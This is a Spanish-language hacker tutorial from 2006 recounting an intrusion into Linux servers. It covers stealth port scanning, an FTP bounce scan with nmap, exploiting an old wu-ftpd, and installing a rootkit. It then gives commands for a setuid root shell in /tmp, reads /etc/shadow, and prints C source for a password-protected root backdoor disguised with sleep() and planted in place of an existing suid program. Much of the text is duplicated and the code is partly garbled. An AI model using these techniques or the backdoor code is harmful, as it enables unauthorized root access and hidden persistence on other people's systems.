Intrusión en servidor Linux - Intrusión en servidor Linux
Tutorial creado por eL_mEsIAs. Extraido de: http://www.indaya.com
22 de Febrero de 2006
Linux, Servidores web
1 - Intrusión en servidor Linux
Bueno así como que técnica técnica no es, eso solo es la forma en que conseguí de nuevo el root en el server con ayuda de un rootkit ....la técnica fue solo para ganar datos y lograr el acceso al server .. y la comentaré de forma rápida...
Primero scaneé el server .., olvídense de escanners como el Languard o el SSS, que solo llenan los logs de basura y de reastros !! .. lo primero que hice fue utilizar el nmap y escanear puertos de modo stealth .. llevándome una gran sorpresa , pues el server corría tras un firewall .. asi que con el netcat ( tnx hobbit) , curiosidad y un poco de paciencia empecé a tratar de acceder a los puertos de la máquina tales como el 21, 22, 23 , 80 , 25 , 110 , lo más conocidos para tratar de averiguar qué servicios corre en ese server ......
Pero rápido el firewall no me ayudó mucho .. así que decidí scanear el rango de ip's que tenía el server ... eso lo obtuve gracias al whois del server y dns ...
Así que obtuve una lista de 5 ordenadores ......... uno de ellos me permitió acceder por el ftp... xDD
Así que una vez adentro al revisar la tabla del router del server al que quería acceder .. vi que el ip de la máquina a la que accedí por ftp estaba permitida !! xDD así que utilicé la técnica de ftp bounce que me daban 2 cosas .. una anonimato y la otra es que mi ip ya estaba blokeada por la máquina víctima jejejej XDD de tantos intentos .xD
Esa técnica al proporcionar el mismo cliente ftp .. con el comando PORT ... este le dice al servidor FTP a qué dirección ip y a qué puerto conectarse para empezar la transferencia de datos ... normalmente la dirección ip corresponde la misma que la del cliente y el puerto será al que está enganchado al cliente FTP .. sin embargo el protocolo FTP no obliga a que esa dirección ip le indice el cliente tiene que ser la misma que el de la máquina cliente !!! xDD .. así que bueno utilicé el nmap para eso !!
Nmap siendo el MEJOR de los scanner de puertos ... no nos sorprende que se pueda utilizar con el comando PORT !! xDD .. pero como el comando PORT no es suficiente para engañar al servidor FTP para que establezca una conexión es necesario transferir un dato ... pero el buen nmap utiliza el comando LIST ..y eso queda así
mesias$ nmap -b usuario:contraseñ **a@servidorftp:puerto.**∞
Algunos firewall reescriben el comando PORT y PASV solo cuando la dirección ip corresponde a a la máquina que está protegiendo .. por eso este método es efectivo !!! xDD
mesias$ nmap -p0 -b username:password@ftpserver:21
starting nmap v. 2.3Beta14 by **fyodor@insecure.org.**∞
Interesting ports on server.victima.com ( xxx.xxx.xxx.xxx):
port State Protocol Service
bla bla bla ...
Pero fue solo suerte pues utilizaban una versión de wu ftpd ya antigua ..... pero bueno fue eso lo que hice para obtener los puertos abiertos y poder determinar qué OS corría ... después lancé exploit y conseguí acceso ... instalé un rootkit y ya conocen el resto de la historia .....solo que después de ese server ingresé a otro .. pues su firewall permitía la entrada de donde yo estaba!! XD
Pero esta vez no tenía tanto tiempo para descargar un rootkit y configurarlo .. o para troyanizar directamente .. pues el root está presente ... ( creo que salió a comer xDD jejeje porque todo lo que hice y no se dio cuenta)
Utilicé la técnica de shells suid de root ...
Con esta técnica no se necesita contraseña de root ni se dejan tantos rastros
Lo primero que hice fue crear la shell de root
victima# cp /bin/sh /tmp
victima# chmod 4555 /tmp/sh
Después como usuario normal .... (usuario:julioc pass julioc jejeje que difícil pass xDD)
victima$ id
uid=500 (julioc) gid=500 (julioc) groups =500 (julioc)
victima$ mc -l /etc/shadow
wc: /etc/shadow: Permission demied
victima$ /tmp/sh
bash# id
uid=500 (julioc) gid=500 (julioc) euid=0 (root) groups=500 (julioc)
bash# wc -l /etc/shadow
32 /etc/shadow
Como ven es sencillo ejecutar una shell suid y así acceder como root .. pero algunas distribuciones de linux incluyen una versión de bash que no permite este ataque si detecta que el ID real de usuario ( uid) y el ID efectivo del usuario (euid) no coinciden ... pero no todo está perdido ... en vez de dejar copias en todos lados de suid de /bin/sh .. podríamos hacer lo siguiente xDD
#include
#include
int main() {
char passwd [BUFSIZ];
char encrypted [] = "00frf51pj6212";
read (0, passwd, BUFSIZ-1);
if ( strcmp ( crypt (passwd, encrypted), encrypted)0 ) {
Primero scaneé el server .., olvídense de escanners como el Languard o el SSS, que solo llenan los logs de basura y de reastros !! .. lo primero que hice fue utilizar el nmap y escanear puertos de modo stealth .. llevándome una gran sorpresa , pues el server corría tras un firewall .. asi que con el netcat ( tnx hobbit) , curiosidad y un poco de paciencia empecé a tratar de acceder a los puertos de la máquina tales como el 21, 22, 23 , 80 , 25 , 110 , lo más conocidos para tratar de averiguar qué servicios corre en ese server ......
Pero rápido el firewall no me ayudó mucho .. así que decidí scanear el rango de ip's que tenía el server ... eso lo obtuve gracias al whois del server y dns ...
Así que obtuve una lista de 5 ordenadores ......... uno de ellos me permitió acceder por el ftp... xDD
Así que una vez adentro al revisar la tabla del router del server al que quería acceder .. vi que el ip de la máquina a la que accedí por ftp estaba permitida !! xDD así que utilicé la técnica de ftp bounce que me daban 2 cosas .. una anonimato y la otra es que mi ip ya estaba blokeada por la máquina víctima jejejej XDD de tantos intentos .xD
Esa técnica al proporcionar el mismo cliente ftp .. con el comando PORT ... este le dice al servidor FTP a qué dirección ip y a qué puerto conectarse para empezar la transferencia de datos ... normalmente la dirección ip corresponde la misma que la del cliente y el puerto será al que está enganchado al cliente FTP .. sin embargo el protocolo FTP no obliga a que esa dirección ip le indice el cliente tiene que ser la misma que el de la máquina cliente !!! xDD .. así que bueno utilicé el nmap para eso !!
Nmap siendo el MEJOR de los scanner de puertos ... no nos sorprende que se pueda utilizar con el comando PORT !! xDD .. pero como el comando PORT no es suficiente para engañar al servidor FTP para que establezca una conexión es necesario transferir un dato ... pero el buen nmap utiliza el comando LIST ..y eso queda así
mesias$ nmap -b usuario:contraseñ **a@servidorftp:puerto.**∞
Algunos firewall reescriben el comando PORT y PASV solo cuando la dirección ip corresponde a a la máquina que está protegiendo .. por eso este método es efectivo !!! xDD
mesias$ nmap -p0 -b username:password@ftpserver:21
starting nmap v. 2.3Beta14 by **fyodor@insecure.org.**∞
Interesting ports on server.victima.com ( xxx.xxx.xxx.xxx):
port State Protocol Service
bla bla bla ...
Pero fue solo suerte pues utilizaban una versión de wu ftpd ya antigua ..... pero bueno fue eso lo que hice para obtener los puertos abiertos y poder determinar qué OS corría ... después lancé exploit y conseguí acceso ... instalé un rootkit y ya conocen el resto de la historia .....solo que después de ese server ingresé a otro .. pues su firewall permitía la entrada de donde yo estaba!! XD
Pero esta vez no tenía tanto tiempo para descargar un rootkit y configurarlo .. o para troyanizar directamente .. pues el root está presente ... ( creo que salió a comer xDD jejeje porque todo lo que hice y no se dio cuenta)
Utilicé la técnica de shells suid de root ...
Con esta técnica no se necesita contraseña de root ni se dejan tantos rastros
Lo primero que hice fue crear la shell de root
victima# cp /bin/sh /tmp
victima# chmod 4555 /tmp/sh
Después como usuario normal .... (usuario:julioc pass julioc jejeje que difícil pass xDD)
victima$ id
uid=500 (julioc) gid=500 (julioc) groups =500 (julioc)
victima$ mc -l /etc/shadow
wc: /etc/shadow: Permission demied
victima$ /tmp/sh
bash# id
uid=500 (julioc) gid=500 (julioc) euid=0 (root) groups=500 (julioc)
bash# wc -l /etc/shadow
32 /etc/shadow
Como ven es sencillo ejecutar una shell suid y así acceder como root .. pero algunas distribuciones de linux incluyen una versión de bash que no permite este ataque si detecta que el ID real de usuario ( uid) y el ID efectivo del usuario (euid) no coinciden ... pero no todo está perdido ... en vez de dejar copias en todos lados de suid de /bin/sh .. podríamos hacer lo siguiente xDD
#include
#include
int main() {
char passwd [BUFSIZ];
char encrypted [] = "00frf51pj6212";
read (0, passwd, BUFSIZ-1);
if ( strcmp ( crypt (passwd, encrypted), encrypted)
0 ) {
setreuid (0,0);
system ("/bin/bash");
} else {
sleep (200);
}
}
Como ven en setreuid (0,0) este es el identificativo real y efectivo de root xDD
Y el sleep (200) es para que parezca que estamos haciendo algo ....
Después lo ejecuto así
victima$ id
uid =502 (julioc) gid = 500(julioc) graoups = 500 (julioc)
victima$ ./suidshell ( esto es solo el ejemplo no sean tan obvios en el nombre)
r00t/m3.
[ **root@victima.**∞]# id -a
uid=0(root) gid=500(julioc) groups=500 (julioc)
Como ven el programa espera de forma "silenciosa" hasta que se introduzca una contraseña y en caso de ser correcta, establecería los identificativos de usuario real y efectivo al valor de root .. si no se teclea la contraseña correcta el programa ejecuta la instrucción sleep() solo para dar la apariencia de estar haciendo algo y que su verdadero propósito no se descubra .. XDD ..
Así que este programa suidshell se puede instalar como un programa nuevo en /sbin, por ejemplo y con algún nombre que no levante sospechas .. o se puede sustituir algun programa suid root ya existente, pero poco usado como /usr/bin/lprm/ ,.... así no se notara mucha la presencia ..... y como ven no es muy dificil ... por eso decía y repito que devena prender como menos c c++ perl , python ..... entre otros ...
Valora este capítulo:
Autor y licencia de 'Intrusión en servidor Linux - Intrusión en servidor Linux'
|
Opiniona sobre 'Intrusión en servidor Linux - Intrusión en servidor Linux' (1)
Tu nombre debe tener tres caracteres como mínimo.
Es necesario que te des de alta con una cuenta de correo válida.
Es necesario que te des de alta con una cuenta de correo válida.
El contenido del título de tu opinión debe tener tres caracteres como mínimo.
Es obligatorio que selecciones una valoración del recurso.
El contenido del comentario de tu opinión debe tener tres caracteres como mínimo.
Opina sobre este tutorial |
Wikis relacionados con 'Intrusión en servidor Linux - Intrusión en servidor Linux'
Bien, empezaré diciendo que decidí realizar este tutorial debido a que decidí instalar este servidor...
Más »
Uno de los procesos que el instalador suele errar es el de la configuración de...
Más »
Este documento describe los pasos y el software necesarios para crear un servidor de IRC...
Más »
Vamos a ver cómo realizar la instalación y configuraciones básicas de un IRC, del programa...
Más »
Tener acceso remoto a nuestro equipo puede ser muy útil. Con un servidor VNC podemos...
Más »

